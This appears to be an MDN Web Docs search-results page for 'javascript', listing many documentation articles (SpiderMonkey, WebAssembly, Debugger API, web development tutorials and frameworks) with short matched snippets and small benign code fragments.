... this is very powerful, since it allows native code to transparently call into javascript.
... the return type of the javascript callback must match the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type".
...And 5 more matches
Debugger - Firefox Developer Tools
setting this to false inhibits the ahead-of-time asm.js compiler and forces asm.js code to run as normal javascript.
... setting this flag to true is intended for uses of subsystems of the debugger api (e.g, debugger.source) for purposes other than step debugging a target javascript program.
...however, the onnewglobalobject method allows the api user to monitor all global object creation that occurs anywhere within the javascript system (the “jsruntime”, in spidermonkey terms), thereby escaping the capability-based limits.
...And 5 more matches
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
...for example, aria enables accessible navigation landmarks in html4, javascript widgets, form hints and error messages, live content updates, and more.
...in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget.
...And 5 more matches
Live streaming web audio and video - Developer guides
for example: <video src="rtsp://myhost.com/mymedia.format"> <!-- fallback here --> </video> media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback.
... allowing javascript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams.
... for example, you could implement mpeg-dash using javascript while offloading the decoding to mse.
...And 5 more matches
Overview of events and handlers - Developer guides
events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
...the innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrieving all resources; this approach also allows for event driven actions, which javascript leverages.
... (the talk is available from several sources, including this one.) currently, all execution environments for javascript code use events and event handling.
...And 5 more matches
Constraint validation - Developer guides
basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api.
...even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without html5 and without javascript) or by bad people trying to trick your web application.
... by setting values on validation-related attributes, allowing basic constraints to be described in a simple way, without the need for javascript.
...And 5 more matches
Exported WebAssembly functions - WebAssembly
exported webassembly functions are how webassembly functions are represented in javascript.
... exported webassembly functions are basically just javascript wrappers that represent webassembly functions in javascript.
... when you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting javascript numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to javascript.
...And 5 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it wo...
...uld be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... javascript typed arrays provide a mechanism for accessing raw binary data much more efficiently.
...And 4 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
venkman, the javascript debugger venkman is a full-fledged javascript debugger that runs inside firefox.
... also, because it works with the javascript in extensions and firefox itself, the debugger can be a good way to learn about design methods.
... starting up select “javascript debugger” from the tools menu.
...And 4 more matches
Gecko Compatibility Handbook - Archive of obsolete content
these earlier, non-standards based browsers differed in several ways from gecko: these browsers use proprietary (non-standard) html, css, and javascript.
... internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascript.
... the browser detection javascript detects netscape 6.x but does not detect other gecko-based browsers.
...And 4 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along with the object element points to a "clsid:" urn followed by the unique identifier of an activex control (in the above example, the string beginning with "d27...").
...here is an example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is the flash m...
...ad of stopping at the activex control, ie will display the same animation twice since it also understands the mime type for flash: <!-- usage will not work as intended --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflashnscp"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flas...
...And 4 more matches
Anatomy of a video game - Game development
it helps beginners to the modern game development arena understand what is required when building a game and how web standards like javascript lend themselves as tools.
... modern javascript — as described in the next sections — thankfully makes it easy to develop an efficient, execute-once-per-frame main loop.
... building a main loop in javascript javascript works best with events and callback functions.
...And 4 more matches
Create the Canvas and draw on it - Game development
nt, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <script> // javascript code goes here </script> </body> </html> we have a charset defined, <title> and some basic css in the header.
... the body contains <canvas> and <script> elements — we will render the game inside the first one and write the javascript code that controls it in the second one.
...all the javascript code we will write in this tutorial will go between the opening <script> and closing </script> tags.
...And 4 more matches
Accessible multimedia - Learn web development
prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of what accessibility is.
...here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> <div class="controls"> <button class="playpause">play</button> <button class="stop">stop</button> <button class="rwd">rwd</button> <button class="fwd">fwd</button> <div class="time">00:00</div> </div> </section> javascript basic setup we've inserted some simple control buttons below our video.
... these controls of course won't do anything by default; to add functionality, we will use javascript.
...And 4 more matches
What are browser developer tools? - Learn web development
these tools do a range of things, from inspecting currently-loaded html, css and javascript to showing which assets the page has requested and how long they took to load.
... find out more find more out about the inspector in different browsers: firefox page inspector ie dom explorer chrome dom inspector (opera's inspector works the same as this) safari dom inspector and style explorer the javascript debugger the javascript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that prevent your code from executing properly.
... to get to the debugger: firefox: select ➤ web developer ➤ debugger or press ctrl + shift + s to open the javascript debugger.
...And 4 more matches
The web and web standards - Learn web development
after that other technologies followed such as css and javascript, and the web started to look more like the web we know today.
...the w3c is the best known web standards body, but there are others such as the whatwg (who were responsible for the modernization of the html language), ecma (who publish the standard for ecmascript, which javascript is based on), khronos (who publish technologies for 3d graphics, such as webgl), and others.
... html, css, and javascript html, css, and javascript are the main three technologies you'll use to build a website: hypertext markup language, or html, is a markup language consisting of different elements you can wrap (mark up) content in to give it meaning (semantics) and structure.
...And 4 more matches
Making asynchronous programming easier with async and await - Learn web development
previous overview: asynchronous next more recent additions to the javascript language are async functions and the await keyword, part of the so-called ecmascript 2017 javascript edition (see ecmascript next support in mozilla).
... prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals, an understanding of async code in general and promises.
...by only adding the necessary handling when the function is declared async, the javascript engine can optimize your program for you.
...And 4 more matches
Fetching data from the server - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page.
... note: in the early days, this general technique was known as asynchronous javascript and xml (ajax), because it tended to use xmlhttprequest to request xml data.
... fetch the fetch api is basically a modern replacement for xhr; it was introduced in browsers recently to make asynchronous http requests easier to do in javascript, both for developers and other apis that build on top of fetch.
...And 4 more matches
Getting started with Vue - Learn web development
previous overview: client-side javascript frameworks next now let's introduce vue, the third of our frameworks.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 4 more matches
Learn web development
moving onto scripting: if you are comfortable with html and css already, or you are mainly interested in coding, you'll want to move on to javascript or server-side development.
... begin with our javascript first steps and server-side first steps modules.
... frameworks and tooling: after mastering the essentials of vanilla html, css, and javascript, you should learn about client-side web development tools, and then consider digging into client-side javascript frameworks, and server-side website programming.
...And 4 more matches
Gecko info for Windows accessibility vendors
dom: document object model this is the w3c's specification for how web content is exposed to javascript and other languages.
...similar to html in that it can be combined with css and javascript to make powerful applications.
... ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
...And 4 more matches
A bird's-eye view of the Mozilla framework
thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
...a xul package consists of a xul description of the ui widget cascading style sheets customizing appearance javascript services implementing the ui behavior a package (also known as chrome) is really just a bundling of a set of ui widgets and associated services implementing a particular application feature.
...for example, a javascript object or c++ class could both implement the same xpidl interface.
...And 4 more matches
JNI.jsm
the jni.jsm javascript code module abstracts all of the js-ctypes required for writing jni code.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/jni.jsm"); this module was available in firefox since version 17.
... astr a javascript string, use any encoding desired.
...And 4 more matches
Profiling with the Firefox Profiler
be aware that elements can be from javascript, gecko, or system libraries.
... clicking the "javascript only" option will only show javascript code in the call tree.
...if you're unfamiliar with gecko's internals, you can click the javascript only button to see where your javascript code is slow.
...And 4 more matches
Emscripten
emscripten is an llvm to javascript compiler.
...generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript.
...And 4 more matches
Index
174 hashing - sample 1 html, hashing sample, javascript, nss, web development, hashing the nss same code below computes the hash of a file and saves it to another file, this illustrates the use of nss message apis.
... 175 initialize nss database - sample 2 html, javascript, nss, nss article, nss initialization, web development the nss sample code below demonstrates how to initialize the nss database.
... jar installation file format when a jar file is run by a server, by modutil, or by any program that does not interpret javascript, a special information file must be included to install the libraries.
...And 4 more matches
SpiderMonkey compartments
compartments are used to create multiple javascript memory heaps, which avoids having one heap for all javascript objects.
... each compartment is a separate javascript heap.
... in previous versions of spidermonkey, the garbage collector would walk the entire heap of all javascript objects when garbage collection was needed.
...And 4 more matches
JS_DefineProperty
getter jsnative the property getter callback, which the javascript engine will call each time the property's value is accessed; or null.
... setter jsnative the property setter callback, which the javascript engine will call each time the property is assigned; or null.
...it differs from js_setproperty in that: it does not behave like ordinary property assignment in the javascript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's behavior; it never calls a setter; it can call the jsclass.addproperty callback when js_setproperty would not, because it can replace an existing property.
...And 4 more matches
SpiderMonkey 1.8.8
the mozilla javascript team is pleased to announce the release of spidermonkey 1.8.8.
... spidermonkey 1.8.8 is the javascript engine that shipped in firefox 10.0.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 4 more matches
SpiderMonkey 17
the mozilla javascript team is pleased to announce the release of spidermonkey 17.
... spidermonkey 17 is the javascript engine that shipped in firefox 17.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 4 more matches
SpiderMonkey 31
the mozilla javascript team is pleased to announce the release of spidermonkey 31.
... spidermonkey 31 is the javascript engine that shipped in firefox 31.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 4 more matches
SpiderMonkey 38
the mozilla javascript team is pleased to announce the release of spidermonkey 38.
... spidermonkey 38 is the javascript engine that shipped in firefox 38.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 4 more matches
SpiderMonkey 45
the mozilla javascript team is pleased to announce the release of spidermonkey 45.
... you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
...And 4 more matches
Shell global objects
note: this list overlaps with "built-in functions" in introduction to the javascript shell and is probably not complete.
... options([option ...]) get or toggle javascript options.
... printprofilerevents() register a callback with the profiler that prints javascript profiler events to stderr.
...And 4 more matches
Mozilla Projects
this system is combination of projects: emscripten emscripten is an llvm to javascript compiler.
...generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... jshydra jshydra is a static analysis tool that is capable of performing analysis of general javascript code.
...And 4 more matches
nsILoginManager
javascript callers can simply use the array's length property and supply a dummy argument for this parameter.
... example this method can be called from javascript like this: var logins = myloginmgr.findlogins({}, 'https://bugzilla.mozilla.org', '', '', {}); getalldisabledhosts() returns a list of all hosts for which login saving is disabled.
...javascript callers can simply use the array's length property and supply a dummy argument for this parameter.
...And 4 more matches
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...notice in view-source that this information is simply gathered from the javascript.
...the next section, how gecko finds plug-ins, describes these rules, and the following section, checking plug-ins by mime type, describes how you can use javascript to locate plug-ins yourself and establish which ones are to be registered for which mime types.
...And 4 more matches
UI Tour - Firefox Developer Tools
this article is a quick tour of the main sections of the javascript debugger's user interface.
...is split vertically into three panels source list pane source pane the contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar watch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
... source pane this shows the javascript file currently loaded.
...And 4 more matches
Debugger.Object - Firefox Developer Tools
javascript code in different compartments can have different views of the same object.
...for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
... hostannotations a javascript object providing further metadata about the referent, or null if none is available.
...And 4 more matches
Web Audio API - Web APIs
familiar with music theory concepts, want to start building instruments, then you can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an lfo among other things.) if you aren't familiar with the programming basics, you might want to consult some beginner's javascript tutorials first and then come back here — see our beginner's javascript learning module for a great place to begin.
... audio processing in javascript using audio worklets, you can define custom audio nodes written in javascript or webassembly.
... audioworkletglobalscope the audioworkletglobalscope interface is a workletglobalscope-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using javascript in a worklet thread rather than on the main thread.
...And 4 more matches
Creating a cross-browser video player - Developer guides
<a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>&copy; blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
... doing things this way still allows users who have javascript turned off (for whatever reason) to still have access to the browser's native controls.
...ue="0" min="0"> <span id="progress-bar"></span> </progress> </li> <li><button id="mute" type="button">mute/unmute</button></li> <li><button id="volinc" type="button">vol+</button></li> <li><button id="voldec" type="button">vol-</button></li> <li><button id="fs" type="button">fullscreen</button></li> </ul> each button is given an id so it can be easily accessed with javascript.
...And 4 more matches
Audio and Video Delivery - Developer guides
javascript audio var myaudio = document.createelement('audio'); if (myaudio.canplaytype('audio/mpeg')) { myaudio.setattribute('src','audiofile.mp3'); } else if (myaudio.canplaytype('audio/ogg')) { myaudio.setattribute('src','audiofile.ogg'); } myaudio.currenttime = 5; myaudio.play(); we set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 sec...
... javascript video var myvideo = document.createelement('video'); if (myvideo.canplaytype('video/mp4')) { myvideo.setattribute('src','videofile.mp4'); } else if (myvideo.canplaytype('video/webm')) { myvideo.setattribute('src','videofile.webm'); } myvideo.width = 480; myvideo.height = 320; we set the source of the video depending on the type of video file the browser supports we then set the width and height of the video.
... media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback.
...And 4 more matches
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
... 18 creating and triggering events advanced, dom, guide, javascript, needscontent, events this article demonstrates how to create and dispatch dom events.
...And 4 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript).
...classes allow css and javascript to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname.
... 34 x-ms-acceleratorkey attribute, html, html:microsoft extensions, non-standard, reference, x-ms-acceleratorkey the x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via javascript when the key(s) are pressed on a keyboard.
...And 4 more matches
Index - WebAssembly
it is also designed to run alongside javascript, allowing both to work together.
... 2 caching compiled webassembly modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... 7 exported webassembly functions guide, javascript, webassembly, export, exported functions, exported wasm functions, wasm exported webassembly functions are how webassembly functions are represented in javascript.
...And 4 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
$ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
... now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> and you will see the correct version number in the output: note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc.
... get an image from javascript into wasm getting the encoder's version number is great, but encoding an actual image would be more impressive.
...And 4 more matches
dev/panel - Archive of obsolete content
individual built-in tools, such as the javascript debugger or the web console, occupy "panels" in the toolbox.
... with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript.
...l; }, onready: function() { // in this function you can communicate // with the panel document } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta charset="utf-8"> <link href="./my-panel.css"rel="stylesheet"></link> <script src="resource://sdk/dev/volcan.js"></script> </head> <body> <div id="content"></div> </body> <script src="./my-panel.js"></script> </html> it doesn't have access to any privileged apis, including the add-on sdk apis.
...And 3 more matches
Miscellaneous - Archive of obsolete content
</div> <script type="text/javascript"> var elm = document.getelementbyid("scrollarea"); elm.addeventlistener("dommousescroll", function scroll(event){ //event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a dommousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should chec...
...further enhancements would include // handling for fields dynamically added to the page (e.g., by page javascript).
... currentvalue.substring(0, element.selectionstart); var aftertext = currentvalue.substring(element.selectionend, currentvalue.length); element.value = beforetext + snippet + aftertext; element.focus(); //put the cursor after the inserted text element.setselectionrange(selectionend, selectionend); } inserttext(document.getelementbyid("example"), "the text to be inserted"); disabling javascript programmatically // disable js in the currently active tab from the context of browser.xul gbrowser.docshell.allowjavascript = false; if this isn't your browser, you should save the value and restore it when finished.
...And 3 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
this chapter explains how to use xpcom to implement advanced processes using only javascript.
... introduction javascript lacks functions for opening files and character-code conversion, among other things.
... calling xpcom from xpconnect use the xpconnect technology to use xpcom in javascript.
...And 3 more matches
Adding Events and Commands - Archive of obsolete content
« previousnext » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements.
...for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", somenewgreeting); } the target in this example is the button element, so clicking on it will change its text.
...this is because it would be very insecure to have a website js controlling the behavior of firefox and running javascript code with chrome privileges.
...And 3 more matches
Error Console - Archive of obsolete content
it reports javascript-related errors and warnings, css errors and arbitrary messages from chrome code.
... for information about what javascript exceptions get logged into the error console, and how to make all exceptions get logged, read the article exception logging in javascript.
... before gecko 1.8.1 (firefox 2), it was called javascript console (see bug 265871).
...And 3 more matches
Using microformats - Archive of obsolete content
loading the microformats api the microformats object is created using the new javascript script loader added to firefox 3.
... to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript.
... definition a javascript structure describing the microformat.
...And 3 more matches
Adding Event Handlers - Archive of obsolete content
we write this using javascript functions much in the same way as html.
...for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
... by default the javascript console only shows errors from web content.
...And 3 more matches
Document Object Model - Archive of obsolete content
in mozilla, the dom may be accessed and manipulated using javascript.
... the various dom objects have functions which may be accessed in script, however, it is important to note that the dom is an api that is accessible by javascript.
... javascript itself is just a scripting language that can access these objects because mozilla provides these objects for use.
...And 3 more matches
XPCOM Interfaces - Archive of obsolete content
however, there are quite a number of things that cannot be performed directly with javascript.
...javascript does not have the capability to do such things.
... xpcom components are typically implemented natively, which means that they generally do things that javascript cannot do itself.
...And 3 more matches
XUL Questions and Answers - Archive of obsolete content
to convert them to integers use the parseint() javascript function.
...(server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item background color with javascript?
...*/ how do i create xul elements dynamically in javascript?
...And 3 more matches
JavaObject - Archive of obsolete content
summary core object the type of a wrapped java object accessed from within javascript code.
... description the javaobject object is an instance of a java class that is created in or passed to javascript.
... any java data brought into javascript is converted to javascript data types.
...And 3 more matches
Old Proxy API - Archive of obsolete content
introduction proxies are objects for which the programmer has to define the semantics in javascript.
... the default object semantics are implemented in the javascript engine, often written in lower-level languages like c++.
... proxies let the programmer define most of the behavior of an object in javascript.
...And 3 more matches
Examples - Archive of obsolete content
this page contains the source code of the examples related to the "properly using css and javascript in xhtml documents" article.
...--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
...t//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
...And 3 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
...this class will contain native methods callable from javascript.
... how to call plugin native methods the following html code will do the job:</p> this should be changed, we shouldn't advocate embed <embed type="application/plugin-mimetype"> <script language="javascript"> var embed = document.embeds[0]; embed.nativemethod(); </script> how to build and install having the built mozilla tree is probably not necessary, but building the plugin with a scriptable instance interface will require mozilla headers and the xpcom compatible idl compiler -- xpidl.exe.
...And 3 more matches
Introduction to game development for the Web - Game development
thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises.
...as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project.
... javascript javascript, the programming language used on the web, is blazing fast in modern browsers and getting faster all the time.
...And 3 more matches
Implementing game control mechanisms - Game development
captain rogers was created using the phaser framework, the most popular tool for simple 2d game development in javascript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascript or any other framework.
... setting up the environment let's start with a quick overview of the game's folder structure, javascript files and in-game states, so we know what's happening where.
... the game's folders look like this: as you can see there are folders for images, javascript files, fonts and sound effects.
...And 3 more matches
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
a polyfill is a piece of code (usually javascript on the web) used to provide modern functionality on older browsers that do not natively support it.
...the polyfill uses non-standard features in a certain browser to give javascript a standards-compliant way to access the feature.
... although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently.
...And 3 more matches
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, symbol is a primitive value.
... in a javascript runtime environment, a symbol value is created by invoking the function symbol, which dynamically produces an anonymous, unique value.
...javascript symbols are different.
...And 3 more matches
Accessibility - Learn web development
learning some html, css, and javascript is useful if you want to become a web developer.
...to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... get started prerequisites to get the most out of this module, it would be a good idea to either work through at least the first two modules of the html, css, and javascript topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics.
...And 3 more matches
Advanced form styling - Learn web development
also bear in mind that we've added some javascript to the page that lists the files selected by the file picker, below the control itself.
... the road to nicer forms: useful libraries and polyfills as we've mentioned above a few times, if you want to gain full control over the "ugly" control types, you have no choice but to rely on javascript.
... formalize is an extension to common javascript frameworks (such as jquery, dojo, yui, etc.) that helps to normalize and customize your forms.
...And 3 more matches
Front-end web developer - Learn web development
subjects covered the subjects covered are: basic setup and learning how to learn web standards and best practices (such as accessibility and cross-browser compatibility) html, the language that gives web content structure and meaning css, the language used to style web pages javascript, the scripting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development.
... modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) styling text (15–20 hour read/exercises) css layout (30–40 hour read/exercises) additional resources css layout cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is recommended that you have basic html knowledge before starting to learn javascript.
... modules javascript first steps (30–40 hour read/exercises) javascript building blocks (25–35 hour read/exercises) introducing javascript objects (25–35 hour read/exercises) client-side web apis (30–40 hour read/exercises) asynchronous javascript (25–35 hour read/exercises) web forms — working with user data time to complete: 40–50 hours prerequisites forms require html, css, and javascript knowledge.
...And 3 more matches
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... objective: to test comprehension of javascript loops, functions, conditionals, and events.
...you could paste the html, css and javascript into one of these online editors.
...And 3 more matches
Useful string methods - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... strings as objects most things are objects in javascript.
... conclusion you can't escape the fact that being able to handle words and sentences in programming is very important — particularly in javascript, as websites are all about communicating with people.
...And 3 more matches
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in this article we learn about routing, or url-based filtering as it is sometimes referred to.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...And 3 more matches
React resources - Learn web development
previous overview: client-side javascript frameworks next our final article provides you with a list of react resources that you can use to go further in your learning.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... create-react-app makes it possible to import css files into javascript modules, so that css is only sent to your user when the corresponding component is rendered.
...And 3 more matches
Working with Svelte stores - Learn web development
